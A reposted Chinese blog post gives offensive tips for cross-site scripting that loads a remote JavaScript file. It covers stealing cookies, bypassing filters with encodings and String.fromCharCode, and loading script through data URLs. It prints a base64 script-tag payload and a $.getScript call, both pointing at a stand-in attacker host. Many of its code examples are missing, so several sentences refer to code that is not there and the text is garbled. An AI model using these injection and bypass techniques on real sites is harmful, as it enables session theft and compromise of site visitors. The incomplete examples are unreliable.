博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
xss如何加载远程js的一些tips
阅读量:6786 次
发布时间:2019-06-26

本文共 875 字,大约阅读时间需要 2 分钟。

在早期 , 对于xss我们是这样利用的

将 cookie之类的数据传递到自己的服务端

但是 如果要更为复杂的攻击的话,由于字符串长度等限制 需要加载远程js来实现。

一个简单的例子

这样更为简洁

src属性会自己取当前页面的协议。

过滤了 <>的话 有时候可以用 %bf u003cu 等来绕过。

对于可以执行js的属性,我们可以控制其内容的话,可以基于DOM的方法创建和插入节点调用js

不要忘记 autofocus无须交互即可执行js。

过滤了 script ‘ create 等关键字的话。 各种编码绕过即可。 你可以看下jin的这篇文章

http://drops.wooyun.org/tips/689

或者用String.fromCharCode 函数转换成 asc码

但是string.fromcharcode 太长了,在同一个页面,可控多个输出的时候, 可以对全局变量 进行多次赋值
一个经典的例子

我们也可以用data url 来加载。

 

PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4= 是

的base64值。

支持data url 的标签还有

 
(需点击) 
.....

需注意的是

里的 data url 是不允许执行js的。

还有, ie8 以下浏览器是不支持 data url的。IE8 data URL 最大长度限制为32k字节,超出无效。IE9+没有这个限制 ie不支持对

 

标签的src设置data URL

有时候 我们可以直接调用javascript框架的函数 来实现一些功能。

比如, 支持 jquery的话(通过查看源代码,你可以看出是否支持)
我们直接这样调用就可以了

$.getScript("//xxx.xxx/a.js");

实践出真理!

转载于:https://www.cnblogs.com/hookjoy/p/3534494.html

你可能感兴趣的文章
angular 动态设置blob链接给 ng-href时遇到unsafe 解决方案
查看>>
Java与Highcharts实例(四) - Hello Highcharts (后台Java传递数
查看>>
连接数据库的操作 总结
查看>>
Android 小米手机开发APP图标更换后还显示原来的图标
查看>>
在代码中修改Shape的solid属性的color值
查看>>
MySQL字符集问题
查看>>
Java多线程总结
查看>>
iPad Mini外屏碎了 换屏幕教程
查看>>
LinkedBlockingQueue操作,线程安全问题,ConcurrentModificationException 异常分析与解决方案...
查看>>
redis3.2新功能--GEO地理位置命令介绍与实战开发
查看>>
java 通过ssh 执行命令
查看>>
算法导论——基数排序(基于计数排序)
查看>>
19.TCP的交互数据流
查看>>
字符串匹配的Boyer-Moore算法
查看>>
memcached数据库未授权访问漏洞解决
查看>>
centos 7 安装在vmware Workstation的网卡问题 RHEL7
查看>>
嵌入式开发平台-iTOP-4418开发板
查看>>
我的友情链接
查看>>
ssh配置公钥私钥(key)登录SecureCRT
查看>>
go 字符串长度为空的判断 效率
查看>>